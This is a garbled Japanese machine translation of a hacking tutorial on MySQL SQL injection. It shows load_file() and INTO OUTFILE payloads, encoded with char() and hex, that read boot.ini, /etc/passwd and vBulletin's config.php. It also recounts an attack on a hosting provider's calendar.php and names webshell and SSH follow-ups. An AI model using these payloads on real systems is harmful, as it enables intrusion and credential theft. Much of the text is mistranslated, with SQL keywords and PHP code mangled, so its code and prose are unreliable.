A dvd SQL Injection with MySQL


文/図 安全天使・アンジェラ[BST]  自動回転 http://www.4ngel.net アンジェラ
前言
私の『SQL』 Injection with MySQLはすでにMySQLへの注入を全面的に紹介しましたが、かなり危険な関数があります。この関数を活用すれば、PHPはサーバーの安全性まで大きく割引されます。 Injection with MySQLの発表時間は夏休みの間で、多くの新米、学生と品性の悪い人が乱用されることを考えました。だから私はこれをこの文に書いていませんでしたが、実はこの文章は5月の初めにすでに書き終わりました。発表後、多くの人がPHP+MYSQLに注ぎ込まれた研究に移りました。多くの新しい技術が続々と発掘されてきます。私たちが身につけているこの分野の未公開の上級技術も続々と発表されます。基礎的なものについては、この文章では取り上げない。
詳細
SQL文では、各種のMySQL内蔵の関数が使用できます。よく使われるのはDATABASE()、USER()、SYSTEM_です。USER()、SESSION_USER()、CURRENT_USER()これらの関数はいくつかのシステムの情報を取得します。もう一つの応用が多い関数があります。つまり、ロード(u)です。ファイルを読み込んで、ファイルの内容を文字列として返します。
ここを見ると、何ができるかということは機密文書を読むことですが、条件付きです。
ファイルを読み込むにはサーバでなければなりません。 
ファイルのフルパスを指定しなければなりません。 
読み取り権限が必要で、ファイルは完全に読み取り可能でなければなりません。 
ファイルを読み込むには以下のものが必要です。 max_allowed_packet 
このファイルが存在しない場合、または上のいずれかの理由で読めない場合、関数は空に戻ります。比較的に満足しにくいのは権限です。windowsの下で、もしNTFSの設定が適切であれば、関連したファイルを読み込めません。administratorsしか訪問できないファイルがあったら、usersはロードしたくないです。fileが出ます。
実際の注入では、私たちは二つの難点を解決する必要があります。
絶対物理パス 
有効な奇形文を作成します。 
多くのPHPプログラムの中で、エラーのQueryを提出すると、display_errors = オンにすると、プログラムはWEBディレクトリの絶対パスを暴露します。パスを知る限り、注入できるPHPプログラムにとって、サーバー全体の安全は深刻な脅威になります。構造文はもうつまらないです。
利用する
プログラムのSQL文を以下のように仮定します。
SELECT * FROM アーティスト WHERE artic leid=$id
注:現在の条件:magic_quot tesgpc = off,c:/boot.iniは読み取り可能です。
この時、私たちは$idを作ります。
-1 ユニオン プロジェクト 1,1,1,1,load_file’c:/boot.ini’)
私たちのQueryは次のようになります。
SELECT * FROM アーティスト WHERE artic leid=-1 ユニオン プロジェクト 1,1,1,1,load_file’c:/boot.ini’)
プログラムはc:/boot.iniの内容を正直に示しますが、今はmagic_quot tesgpc = オフの本体が少ないですが、引用符がない文をどうやって作りますか?『SQL』を見たことがあります Injection with MySQLの友達はきっとchar()関数を使って、あるいは文字を16進に変換することを知っています。間違いないです。
注:現在の条件:magic_quot tesgpc = on,c:/boot.iniは読み物ができます。
私たちの構造は$idです。
-1 ユニオン プロジェクト 1,1,1,ロードfile(char(99,58,47,98,111,116,46,105,110,105)
「char(99,58,47,98,111,116,46,105,110,105)」は「c:/boot.ini」のASCIIコードです。私たちのQueryは次のようになります。
SELECT * FROM アーティスト WHERE artic leid=-1 ユニオン プロジェクト 1,1,1,ロードfile(char(99,58,47,98,111,116,46,105,110,105)
boot.iniファイルの読み取りにも成功しました。文字列を16進に変換したものもあります。「c:/boot.ini」の16進は「0 x 633 a 2 f 626 f 6 f 742 e 696 e 69」です。
SELECT * FROM アーティスト WHERE artic leid=-1 ユニオン プロジェクト 1,1,1,ロードfile(0 x 633 a 2 f 626 f 6 f 742 e 696 e 69)
短いです。好みによって、phpmyadminまたはmysqlに以下の検索を入力して、ゆっくり研究してください。
SELECT ロード.file([string])
もちろん、実際のアプリケーションでは、さまざまな条件の制限のため、ファイルの内容が表示されるとは限りません。 out fileはファイルをエクスポートします。みんなはすでにどのように利用するかを知っています。私も詳細を言いません。実例を見てすべてを説明します。
実例
www.***host.cnは我が国の有名なFreeBSDホストプロバイダーです。彼をテストします。そのフォーラムはcareendar.phpに問題があるVBBフォーラムを採用していますので、私は至るところで抜け穴があるサイトを探す必要がありません。これは完全な安全テストです。情報を得るだけで、私はサーバに入っていません。
ここで補足説明します。VBのルートディレクトリの下でglobal.phpのコードの一部は以下の通りです。
// get rid 保存先 スラッシュ in get / ベスト / クッキー ダタ
機能 ストリップスラッシュ (&$arr) {
while (list($key、$val)=each($arr)) {
if ($key!="templatesused" and $key!="argc" and $key!="argv") {
if (is_string($val) AND (sttouper($key)key OR ("".intval($key)==「$key」) {
$arr[$key]] = strippslashes($val)
) else if (is_array($val) AND ($key == ’HTTP_POST_VRS’ OR $key == ’HTTP_GET_VRS’ OR sttouper($key)key) {
$arr[$key]] = stripslashes ray($val);
)
)
)
return $arr;

if (ゲットするmagic_quot tesgpc() and is_array($GLOOBALS)) {
if (isset($atachment) {
$GLOOBALS[’atechment’] = addslashes($GLOOBALS[’atechment’]);
)
if (isset($avaarfile) {
$GLOOBALS[’avatara file’] = addslashes($GLOOBALS[’avatara file’]);
)
$GLOOBALS = ストリップスロシア($GLOBALS);
)
setmagic_quot tesruntime(0)
このコードの役割はmagic_ならです。quot tesgpcを開くと、すべての特殊文字の前の変換文字が消去されます。だから、php.iniの中でmagic_を無視します。quot tesgpcの状態はどうですか?私達が入力したシングル引用符は影響がありません。安心して注入できます。へへ。
私たちは知っています。提出します。
//careendar.php?action=edit&eventid=1 ユニオン SELECT 1,1,1,1,username,password FROM user WHERE アメリカドル=1
ユーザー名とパスワードMD 5のハッシュを取得することができますが、特殊な理由で表示されませんでした。しかし、私の経験から、構造が間違っていないことが分かりました。ファイルに読み込むことができます。
事前に私はphpinfo()を含むファイルに何気なくアクセスしたので、WEBの絶対パスを知りました。アクセスサイトの結果、ダウンロードシステムがHTMLファイルを生成していることが分かりました。もしそのディレクトリに書き込み権限がないとHTMLファイルを生成できないということです。このすべてが本文の重点ではないことが分かりました。
WEB絶対経路:/home/4 ngel 
ディレクトリパスを書くことができます。/home/4 ngel/ソフト/ 
magic_quot tesgpc = オン 
ホストrootと比べて、フォーラムのadminはまったく何でもないです。私はフォーラムのadminにも興味がありません。フォーラムの構成ファイルを読みたいです。また、MySQLの接続情報を知っています。ここから入手できます。webshellや他のものを書いて、パスワードを知ることができます。直接にsshから上がります。
VBフォーラムの配置ファイルは/home/4 ngel/forum/admin/config.phpにあり、ASCIIコードに変換して提出します。
careendar.php?action=edit&eventid=1 ユニオン SELECT 1,1,1,1,1,load_file(char(47,104,111,109,101,47,52,110,103,101,108,47,102,111,114,117,109,47,100,109,105,110,47,111,110,102,105,103,46,112,104,112) FROM user WHERE アメリカドル=1 イント out file ’/home/4 ngel/ソフト/cfg.txt’
ほほほ、whereを追加して条件を決めてください。そうでなければ、フォーラムのユーザーが多いと、ファイルがかなり大きいです。あるいは単に$eventidを存在しない値に指定したら、whereを使わなくてもいいです。
careendar.php?action=edit&eventid=-1 ユニオン SELECT 1,1,1,1,1,load_file(char(47,104,111,109,101,47,52,110,103,101,108,47,102,111,114,117,109,47,100,109,105,110,47,111,110,102,105,103,46,112,104,112) FROM user イント out file ’/home/4 ngel/ソフト/cfg.txt’
/etc/passwdをASCIIコードに変換し、提出:
careendar.php?action=edit&eventid=-1 ユニオン SELECT 1,1,1,1,1,1, ロード.file (char(47,101,116,99,47,112,97,115,119,100) FROM user イント out file ’/home/4 ngel/ソフト/etcpwd.txt’
注意フォーラムのトップを見たら、次のエラーメッセージがあります。
Warning: mysqlfetcharray(): supplied argment is not a. valid MySQL レスリング resource in /home/4 ngel/forum/admin/db_mysql.php オン ライン 154
経験は私達に教えてくれます。書類のエクスポートに成功しました。提出:
http://www.xxxhost.cn/soft/cfg.txt
http://www.xxxhost.cn/soft/etcpwd.txt
内容がガラガラと出てきましたが、夜と豚の卵が灰色に侵入した時に、パスワードを表示して、騙して、楽屋に登録して、裏口をアップロードして、config.phpを読みます。fileでできます。害が大きいですか?図のように:
覚えています。あるグループでみんなが9***.netという駅をやることによって、白黒サーバーに入ることができました。白黒に対して突進する方法がなくて、曲線しかないです。ロードを使うfile関数は、いくつかの情報を知ると白黒のサーバーに入ることができます。過程は上記と同じです。show.phpの脆弱性を利用して、直接ロードします。プログラムの配置ファイルをfileして、mysqlの情報を知りました。リモート接続、データベースのエクスポートファイルを書いて、サーバーのadminを獲得しやすいです。
後記
被害が大きすぎて、私はずっと公表する勇気がないです。国内にも知っている人がいると信じています。公開しないだけです。再三の考慮の上、発表することにしました。把握してから、国内のサイトに対して、破壊的な操作をしないでください。ご協力ありがとうございます